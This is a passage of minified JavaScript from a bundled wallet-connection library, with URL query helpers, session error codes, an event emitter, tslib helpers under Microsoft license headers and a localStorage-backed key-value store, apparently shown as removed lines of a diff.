Object.assign({url:n.split("?")[0]||"",query:d(f(e),t)},t&&t.parseFragmentIdentifier&&i?{fragmentIdentifier:u(i,t)}:{})},e.stringifyUrl=(t,n)=>{n=Object.assign({encode:!0,strict:!0,[o]:!0},n);const r=l(t.url).split("?")[0]||"",i=e.extract(t.url),s=e.parse(i,{sort:!1}),u=Object.assign(s,t.query);let c=e.stringify(u,n);c&&(c=`?${c}`);let f=function(e){let t="";const n=e.indexOf("#");return-1!==n&&(t=e.slice(n)),t}(t.url);return t.fragmentIdentifier&&(f=`#${n[o]?a(t.fragmentIdentifier,n):t.fragmentIdentifier}`),`${r}${c}${f}`},e.pick=(t,n,r)=>{r=Object.assign({parseFragmentIdentifier:!0,[o]:!1},r);const{url:s,query:a,fragmentIdentifier:u}=e.parseUrl(t,r);return e.stringifyUrl({url:s,query:i(a,n),fragmentIdentifier:u},r)},e.exclude=(t,n,r)=>{const i=Array.isArray(n)?e=>!n.includes(e):(e,t)=>!n(e,t);return e.pick(t,i,r)}}({});const xc={INVALID_METHOD:{message:"Invalid method.",code:1001},INVALID_EVENT:{message:"Invalid event.",code:1002},INVALID_UPDATE_REQUEST:{message:"Invalid update request.",code:1003},INVALID_EXTEND_REQUEST:{message:"Invalid extend request.",code:1004},INVALID_SESSION_SETTLE_REQUEST:{message:"Invalid session settle request.",code:1005},UNAUTHORIZED_METHOD:{message:"Unauthorized method.",code:3001},UNAUTHORIZED_EVENT:{message:"Unauthorized event.",code:3002},UNAUTHORIZED_UPDATE_REQUEST:{message:"Unauthorized update request.",code:3003},UNAUTHORIZED_EXTEND_REQUEST:{message:"Unauthorized extend request.",code:3004},USER_REJECTED:{message:"User rejected.",code:5e3},USER_REJECTED_CHAINS:{message:"User rejected chains.",code:5001},USER_REJECTED_METHODS:{message:"User rejected methods.",code:5002},USER_REJECTED_EVENTS:{message:"User rejected events.",code:5003},UNSUPPORTED_CHAINS:{message:"Unsupported chains.",code:5100},UNSUPPORTED_METHODS:{message:"Unsupported methods.",code:5101},UNSUPPORTED_EVENTS:{message:"Unsupported events.",code:5102},UNSUPPORTED_ACCOUNTS:{message:"Unsupported accounts.",code:5103},UNSUPPORTED_NAMESPACE_KEY:{message:"Unsupported namespace key.",code:5104},USER_DISCONNECTED:{message:"User disconnected.",code:6e3},SESSION_SETTLEMENT_FAILED:{message:"Session settlement failed.",code:7e3},WC_METHOD_UNSUPPORTED:{message:"Unsupported wc_ method.",code:10001}};function Ic(e,t){return!!Array.isArray(e)&&(!(typeof t<"u"&&e.length)||e.every(t))}var Rc,kc,Cc={exports:{}};!function(e,t){!function(e){var t=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof l<"u"?l:typeof self<"u"?self:{};function n(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function r(e){var t=e.default;if("function"==typeof t){var n=function(){return t.apply(this,arguments)};n.prototype=t.prototype}else n={};return Object.defineProperty(n,"__esModule",{value:!0}),Object.keys(e).forEach((function(t){var r=Object.getOwnPropertyDescriptor(e,t);Object.defineProperty(n,t,r.get?r:{enumerable:!0,get:function(){return e[t]}})})),n}var i,o={exports:{}},s="object"==typeof Reflect?Reflect:null,a=s&&"function"==typeof s.apply?s.apply:function(e,t,n){return Function.prototype.apply.call(e,t,n)};function u(e){console&&console.warn&&console.warn(e)}i=s&&"function"==typeof s.ownKeys?s.ownKeys:Object.getOwnPropertySymbols?function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:function(e){return Object.getOwnPropertyNames(e)};var c=Number.isNaN||function(e){return e!=e};function f(){f.init.call(this)}o.exports=f,o.exports.once=S,f.EventEmitter=f,f.prototype._events=void 0,f.prototype._eventsCount=0,f.prototype._maxListeners=void 0;var h=10;function d(e){if("function"!=typeof e)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof e)}function p(e){return void 0===e._maxListeners?f.defaultMaxListeners:e._maxListeners}function g(e,t,n,r){var i,o,s;if(d(n),void 0===(o=e._events)?(o=e._events=Object.create(null),e._eventsCount=0):(void 0!==o.newListener&&(e.emit("newListener",t,n.listener?n.listener:n),o=e._events),s=o[t]),void 0===s)s=o[t]=n,++e._eventsCount;else if("function"==typeof s?s=o[t]=r?[n,s]:[s,n]:r?s.unshift(n):s.push(n),(i=p(e))>0&&s.length>i&&!s.warned){s.warned=!0;var a=new Error("Possible EventEmitter memory leak detected. "+s.length+" "+String(t)+" listeners added. Use emitter.setMaxListeners() to increase limit");a.name="MaxListenersExceededWarning",a.emitter=e,a.type=t,a.count=s.length,u(a)}return e}function y(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,0===arguments.length?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function v(e,t,n){var r={fired:!1,wrapFn:void 0,target:e,type:t,listener:n},i=y.bind(r);return i.listener=n,r.wrapFn=i,i}function m(e,t,n){var r=e._events;if(void 0===r)return[];var i=r[t];return void 0===i?[]:"function"==typeof i?n?[i.listener||i]:[i]:n?E(i):b(i,i.length)}function _(e){var t=this._events;if(void 0!==t){var n=t[e];if("function"==typeof n)return 1;if(void 0!==n)return n.length}return 0}function b(e,t){for(var n=new Array(t),r=0;r<t;++r)n[r]=e[r];return n}function w(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}function E(e){for(var t=new Array(e.length),n=0;n<t.length;++n)t[n]=e[n].listener||e[n];return t}function S(e,t){return new Promise((function(n,r){function i(n){e.removeListener(t,o),r(n)}function o(){"function"==typeof e.removeListener&&e.removeListener("error",i),n([].slice.call(arguments))}x(e,t,o,{once:!0}),"error"!==t&&O(e,i,{once:!0})}))}function O(e,t,n){"function"==typeof e.on&&x(e,"error",t,n)}function x(e,t,n,r){if("function"==typeof e.on)r.once?e.once(t,n):e.on(t,n);else{if("function"!=typeof e.addEventListener)throw new TypeError('The "emitter" argument must be of type EventEmitter. Received type '+typeof e);e.addEventListener(t,(function i(o){r.once&&e.removeEventListener(t,i),n(o)}))}}Object.defineProperty(f,"defaultMaxListeners",{enumerable:!0,get:function(){return h},set:function(e){if("number"!=typeof e||e<0||c(e))throw new RangeError('The value of "defaultMaxListeners" is out of range. It must be a non-negative number. Received '+e+".");h=e}}),f.init=function(){(void 0===this._events||this._events===Object.getPrototypeOf(this)._events)&&(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},f.prototype.setMaxListeners=function(e){if("number"!=typeof e||e<0||c(e))throw new RangeError('The value of "n" is out of range. It must be a non-negative number. Received '+e+".");return this._maxListeners=e,this},f.prototype.getMaxListeners=function(){return p(this)},f.prototype.emit=function(e){for(var t=[],n=1;n<arguments.length;n++)t.push(arguments[n]);var r="error"===e,i=this._events;if(void 0!==i)r=r&&void 0===i.error;else if(!r)return!1;if(r){var o;if(t.length>0&&(o=t[0]),o instanceof Error)throw o;var s=new Error("Unhandled error."+(o?" ("+o.message+")":""));throw s.context=o,s}var u=i[e];if(void 0===u)return!1;if("function"==typeof u)a(u,this,t);else{var c=u.length,l=b(u,c);for(n=0;n<c;++n)a(l[n],this,t)}return!0},f.prototype.addListener=function(e,t){return g(this,e,t,!1)},f.prototype.on=f.prototype.addListener,f.prototype.prependListener=function(e,t){return g(this,e,t,!0)},f.prototype.once=function(e,t){return d(t),this.on(e,v(this,e,t)),this},f.prototype.prependOnceListener=function(e,t){return d(t),this.prependListener(e,v(this,e,t)),this},f.prototype.removeListener=function(e,t){var n,r,i,o,s;if(d(t),void 0===(r=this._events))return this;if(void 0===(n=r[e]))return this;if(n===t||n.listener===t)0==--this._eventsCount?this._events=Object.create(null):(delete r[e],r.removeListener&&this.emit("removeListener",e,n.listener||t));else if("function"!=typeof n){for(i=-1,o=n.length-1;o>=0;o--)if(n[o]===t||n[o].listener===t){s=n[o].listener,i=o;break}if(i<0)return this;0===i?n.shift():w(n,i),1===n.length&&(r[e]=n[0]),void 0!==r.removeListener&&this.emit("removeListener",e,s||t)}return this},f.prototype.off=f.prototype.removeListener,f.prototype.removeAllListeners=function(e){var t,n,r;if(void 0===(n=this._events))return this;if(void 0===n.removeListener)return 0===arguments.length?(this._events=Object.create(null),this._eventsCount=0):void 0!==n[e]&&(0==--this._eventsCount?this._events=Object.create(null):delete n[e]),this;if(0===arguments.length){var i,o=Object.keys(n);for(r=0;r<o.length;++r)"removeListener"!==(i=o[r])&&this.removeAllListeners(i);return this.removeAllListeners("removeListener"),this._events=Object.create(null),this._eventsCount=0,this}if("function"==typeof(t=n[e]))this.removeListener(e,t);else if(void 0!==t)for(r=t.length-1;r>=0;r--)this.removeListener(e,t[r]);return this},f.prototype.listeners=function(e){return m(this,e,!0)},f.prototype.rawListeners=function(e){return m(this,e,!1)},f.listenerCount=function(e,t){return"function"==typeof e.listenerCount?e.listenerCount(t):_.call(e,t)},f.prototype.listenerCount=_,f.prototype.eventNames=function(){return this._eventsCount>0?i(this._events):[]};var I={},R=function(e,t){return R=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},R(e,t)};
252
- /*! *****************************************************************************
253
- Copyright (c) Microsoft Corporation.
254
-
255
- Permission to use, copy, modify, and/or distribute this software for any
256
- purpose with or without fee is hereby granted.
257
-
258
- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
259
- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
260
- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
261
- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
262
- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
263
- OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
264
- PERFORMANCE OF THIS SOFTWARE.
265
- ***************************************************************************** */function k(e,t){function n(){this.constructor=e}R(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var C=function(){return C=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},C.apply(this,arguments)};function P(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(r=Object.getOwnPropertySymbols(e);i<r.length;i++)t.indexOf(r[i])<0&&Object.prototype.propertyIsEnumerable.call(e,r[i])&&(n[r[i]]=e[r[i]])}return n}function A(e,t,n,r){var i,o=arguments.length,s=o<3?t:null===r?r=Object.getOwnPropertyDescriptor(t,n):r;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)s=Reflect.decorate(e,t,n,r);else for(var a=e.length-1;a>=0;a--)(i=e[a])&&(s=(o<3?i(s):o>3?i(t,n,s):i(t,n))||s);return o>3&&s&&Object.defineProperty(t,n,s),s}function N(e,t){return function(n,r){t(n,r,e)}}function T(e,t){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(e,t)}function M(e,t,n,r){function i(e){return e instanceof n?e:new n((function(t){t(e)}))}return new(n||(n=Promise))((function(n,o){function s(e){try{u(r.next(e))}catch(e){o(e)}}function a(e){try{u(r.throw(e))}catch(e){o(e)}}function u(e){e.done?n(e.value):i(e.value).then(s,a)}u((r=r.apply(e,t||[])).next())}))}function L(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(e){return function(t){return u([e,t])}}function u(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=2&o[0]?r.return:o[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[2&o[0],i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 7:o=s.ops.pop(),s.trys.pop();continue;default:if(!(i=(i=s.trys).length>0&&i[i.length-1])&&(6===o[0]||2===o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=t.call(e,s)}catch(e){o=[6,e],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}}function j(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}function U(e,t){for(var n in e)"default"!==n&&!t.hasOwnProperty(n)&&(t[n]=e[n])}function D(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function z(e,t){var n="function"==typeof Symbol&&e[Symbol.iterator];if(!n)return e;var r,i,o=n.call(e),s=[];try{for(;(void 0===t||t-- >0)&&!(r=o.next()).done;)s.push(r.value)}catch(e){i={error:e}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(i)throw i.error}}return s}function F(){for(var e=[],t=0;t<arguments.length;t++)e=e.concat(z(arguments[t]));return e}function B(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),i=0;for(t=0;t<n;t++)for(var o=arguments[t],s=0,a=o.length;s<a;s++,i++)r[i]=o[s];return r}function H(e){return this instanceof H?(this.v=e,this):new H(e)}function q(e,t,n){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,i=n.apply(e,t||[]),o=[];return r={},s("next"),s("throw"),s("return"),r[Symbol.asyncIterator]=function(){return this},r;function s(e){i[e]&&(r[e]=function(t){return new Promise((function(n,r){o.push([e,t,n,r])>1||a(e,t)}))})}function a(e,t){try{u(i[e](t))}catch(e){f(o[0][3],e)}}function u(e){e.value instanceof H?Promise.resolve(e.value.v).then(c,l):f(o[0][2],e)}function c(e){a("next",e)}function l(e){a("throw",e)}function f(e,t){e(t),o.shift(),o.length&&a(o[0][0],o[0][1])}}function V(e){var t,n;return t={},r("next"),r("throw",(function(e){throw e})),r("return"),t[Symbol.iterator]=function(){return this},t;function r(r,i){t[r]=e[r]?function(t){return(n=!n)?{value:H(e[r](t)),done:"return"===r}:i?i(t):t}:i}}function $(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t,n=e[Symbol.asyncIterator];return n?n.call(e):(e="function"==typeof D?D(e):e[Symbol.iterator](),t={},r("next"),r("throw"),r("return"),t[Symbol.asyncIterator]=function(){return this},t);function r(n){t[n]=e[n]&&function(t){return new Promise((function(r,o){i(r,o,(t=e[n](t)).done,t.value)}))}}function i(e,t,n,r){Promise.resolve(r).then((function(t){e({value:t,done:n})}),t)}}function W(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e}function K(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}function G(e){return e&&e.__esModule?e:{default:e}}function Y(e,t){if(!t.has(e))throw new TypeError("attempted to get private field on non-instance");return t.get(e)}function Q(e,t,n){if(!t.has(e))throw new TypeError("attempted to set private field on non-instance");return t.set(e,n),n}var J=r(Object.freeze({__proto__:null,__extends:k,get __assign(){return C},__rest:P,__decorate:A,__param:N,__metadata:T,__awaiter:M,__generator:L,__createBinding:j,__exportStar:U,__values:D,__read:z,__spread:F,__spreadArrays:B,__await:H,__asyncGenerator:q,__asyncDelegator:V,__asyncValues:$,__makeTemplateObject:W,__importStar:K,__importDefault:G,__classPrivateFieldGet:Y,__classPrivateFieldSet:Q})),X={};function Z(e){if("string"!=typeof e)throw new Error("Cannot safe json parse value of type "+typeof e);try{return JSON.parse(e)}catch{return e}}function ee(e){return"string"==typeof e?e:JSON.stringify(e,((e,t)=>typeof t>"u"?null:t))}Object.defineProperty(X,"__esModule",{value:!0}),X.safeJsonParse=Z,X.safeJsonStringify=ee;var te,ne={exports:{}};function re(){return te||(te=1,function(){let e;function n(){}e=n,e.prototype.getItem=function(e){return this.hasOwnProperty(e)?String(this[e]):null},e.prototype.setItem=function(e,t){this[e]=String(t)},e.prototype.removeItem=function(e){delete this[e]},e.prototype.clear=function(){const e=this;Object.keys(e).forEach((function(t){e[t]=void 0,delete e[t]}))},e.prototype.key=function(e){return e=e||0,Object.keys(this)[e]},e.prototype.__defineGetter__("length",(function(){return Object.keys(this).length})),typeof t<"u"&&t.localStorage?ne.exports=t.localStorage:typeof window<"u"&&window.localStorage?ne.exports=window.localStorage:ne.exports=new n}()),ne.exports}var ie,oe={},se={};function ae(){if(ie)return se;ie=1,Object.defineProperty(se,"__esModule",{value:!0}),se.IKeyValueStorage=void 0;class e{}return se.IKeyValueStorage=e,se}var ue,ce,le={};function fe(){if(ue)return le;ue=1,Object.defineProperty(le,"__esModule",{value:!0}),le.parseEntry=void 0;const e=X;function t(t){var n;return[t[0],e.safeJsonParse(null!==(n=t[1])&&void 0!==n?n:"")]}return le.parseEntry=t,le}function he(){return ce||(ce=1,function(e){Object.defineProperty(e,"__esModule",{value:!0});const t=J;t.__exportStar(ae(),e),t.__exportStar(fe(),e)}(oe)),oe}Object.defineProperty(I,"__esModule",{value:!0}),I.KeyValueStorage=void 0;const de=J,pe=X,ge=de.__importDefault(re()),ye=he();class ve{constructor(){this.localStorage=ge.default}getKeys(){return de.__awaiter(this,void 0,void 0,(function*(){return Object.keys(this.localStorage)}))}getEntries(){return de.__awaiter(this,void 0,void 0,(function*(){return Object.entries(this.localStorage).map(ye.parseEntry)}))}getItem(e){return de.__awaiter(this,void 0,void 0,(function*(){const t=this.localStorage.getItem(e);if(null!==t)return pe.safeJsonParse(t)}))}setItem(e,t){return de.__awaiter(this,void 0,void 0,(function*(){this.localStorage.setItem(e,pe.safeJsonStringify(t))}))}removeItem(e){return de.__awaiter(this,void 0,void 0,(function*(){this.localStorage.removeItem(e)}))}}I.KeyValueStorage=ve;var me=I.default=ve,_e={},be=function(e,t){return be=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},be(e,t)};
266
- /*! *****************************************************************************
267
- Copyright (c) Microsoft Corporation.
268
-
269
- Permission to use, copy, modify, and/or distribute this software for any
270
- purpose with or without fee is hereby granted.
271
-
272
- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
273
- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
274
- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
275
- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
276
- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
277
- OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
278
- PERFORMANCE OF THIS SOFTWARE.
279
- ***************************************************************************** */function we(e,t){function n(){this.constructor=e}be(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var Ee=function(){return Ee=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},Ee.apply(this,arguments)};function Se(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(r=Object.getOwnPropertySymbols(e);i<r.length;i++)t.indexOf(r[i])<0&&Object.prototype.propertyIsEnumerable.call(e,r[i])&&(n[r[i]]=e[r[i]])}return n}function Oe(e,t,n,r){var i,o=arguments.length,s=o<3?t:null===r?r=Object.getOwnPropertyDescriptor(t,n):r;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)s=Reflect.decorate(e,t,n,r);else for(var a=e.length-1;a>=0;a--)(i=e[a])&&(s=(o<3?i(s):o>3?i(t,n,s):i(t,n))||s);return o>3&&s&&Object.defineProperty(t,n,s),s}function xe(e,t){return function(n,r){t(n,r,e)}}function Ie(e,t){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(e,t)}function Re(e,t,n,r){function i(e){return e instanceof n?e:new n((function(t){t(e)}))}return new(n||(n=Promise))((function(n,o){function s(e){try{u(r.next(e))}catch(e){o(e)}}function a(e){try{u(r.throw(e))}catch(e){o(e)}}function u(e){e.done?n(e.value):i(e.value).then(s,a)}u((r=r.apply(e,t||[])).next())}))}function ke(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(e){return function(t){return u([e,t])}}function u(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=2&o[0]?r.return:o[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[2&o[0],i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 7:o=s.ops.pop(),s.trys.pop();continue;default:if(!(i=(i=s.trys).length>0&&i[i.length-1])&&(6===o[0]||2===o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=t.call(e,s)}catch(e){o=[6,e],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}}function Ce(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}function Pe(e,t){for(var n in e)"default"!==n&&!t.hasOwnProperty(n)&&(t[n]=e[n])}function Ae(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function Ne(e,t){var n="function"==typeof Symbol&&e[Symbol.iterator];if(!n)return e;var r,i,o=n.call(e),s=[];try{for(;(void 0===t||t-- >0)&&!(r=o.next()).done;)s.push(r.value)}catch(e){i={error:e}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(i)throw i.error}}return s}function Te(){for(var e=[],t=0;t<arguments.length;t++)e=e.concat(Ne(arguments[t]));return e}function Me(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),i=0;for(t=0;t<n;t++)for(var o=arguments[t],s=0,a=o.length;s<a;s++,i++)r[i]=o[s];return r}function Le(e){return this instanceof Le?(this.v=e,this):new Le(e)}function je(e,t,n){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,i=n.apply(e,t||[]),o=[];return r={},s("next"),s("throw"),s("return"),r[Symbol.asyncIterator]=function(){return this},r;function s(e){i[e]&&(r[e]=function(t){return new Promise((function(n,r){o.push([e,t,n,r])>1||a(e,t)}))})}function a(e,t){try{u(i[e](t))}catch(e){f(o[0][3],e)}}function u(e){e.value instanceof Le?Promise.resolve(e.value.v).then(c,l):f(o[0][2],e)}function c(e){a("next",e)}function l(e){a("throw",e)}function f(e,t){e(t),o.shift(),o.length&&a(o[0][0],o[0][1])}}function Ue(e){var t,n;return t={},r("next"),r("throw",(function(e){throw e})),r("return"),t[Symbol.iterator]=function(){return this},t;function r(r,i){t[r]=e[r]?function(t){return(n=!n)?{value:Le(e[r](t)),done:"return"===r}:i?i(t):t}:i}}function De(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t,n=e[Symbol.asyncIterator];return n?n.call(e):(e="function"==typeof Ae?Ae(e):e[Symbol.iterator](),t={},r("next"),r("throw"),r("return"),t[Symbol.asyncIterator]=function(){return this},t);function r(n){t[n]=e[n]&&function(t){return new Promise((function(r,o){i(r,o,(t=e[n](t)).done,t.value)}))}}function i(e,t,n,r){Promise.resolve(r).then((function(t){e({value:t,done:n})}),t)}}function ze(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e}function Fe(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}function Be(e){return e&&e.__esModule?e:{default:e}}function He(e,t){if(!t.has(e))throw new TypeError("attempted to get private field on non-instance");return t.get(e)}function qe(e,t,n){if(!t.has(e))throw new TypeError("attempted to set private field on non-instance");return t.set(e,n),n}var Ve=r(Object.freeze({__proto__:null,__extends:we,get __assign(){return Ee},__rest:Se,__decorate:Oe,__param:xe,__metadata:Ie,__awaiter:Re,__generator:ke,__createBinding:Ce,__exportStar:Pe,__values:Ae,__read:Ne,__spread:Te,__spreadArrays:Me,__await:Le,__asyncGenerator:je,__asyncDelegator:Ue,__asyncValues:De,__makeTemplateObject:ze,__importStar:Fe,__importDefault:Be,__classPrivateFieldGet:He,__classPrivateFieldSet:qe})),$e={},We={},Ke=function(e,t){return Ke=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},Ke(e,t)};
280
- /*! *****************************************************************************
281
- Copyright (c) Microsoft Corporation.
282
-
283
- Permission to use, copy, modify, and/or distribute this software for any
284
- purpose with or without fee is hereby granted.
285
-
286
- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
287
- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
288
- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
289
- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
290
- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
291
- OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
292
- PERFORMANCE OF THIS SOFTWARE.
293
- ***************************************************************************** */function Ge(e,t){function n(){this.constructor=e}Ke(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var Ye=function(){return Ye=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},Ye.apply(this,arguments)};function Qe(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(r=Object.getOwnPropertySymbols(e);i<r.length;i++)t.indexOf(r[i])<0&&Object.prototype.propertyIsEnumerable.call(e,r[i])&&(n[r[i]]=e[r[i]])}return n}function Je(e,t,n,r){var i,o=arguments.length,s=o<3?t:null===r?r=Object.getOwnPropertyDescriptor(t,n):r;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)s=Reflect.decorate(e,t,n,r);else for(var a=e.length-1;a>=0;a--)(i=e[a])&&(s=(o<3?i(s):o>3?i(t,n,s):i(t,n))||s);return o>3&&s&&Object.defineProperty(t,n,s),s}function Xe(e,t){return function(n,r){t(n,r,e)}}function Ze(e,t){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(e,t)}function et(e,t,n,r){function i(e){return e instanceof n?e:new n((function(t){t(e)}))}return new(n||(n=Promise))((function(n,o){function s(e){try{u(r.next(e))}catch(e){o(e)}}function a(e){try{u(r.throw(e))}catch(e){o(e)}}function u(e){e.done?n(e.value):i(e.value).then(s,a)}u((r=r.apply(e,t||[])).next())}))}function tt(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(e){return function(t){return u([e,t])}}function u(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=2&o[0]?r.return:o[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[2&o[0],i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 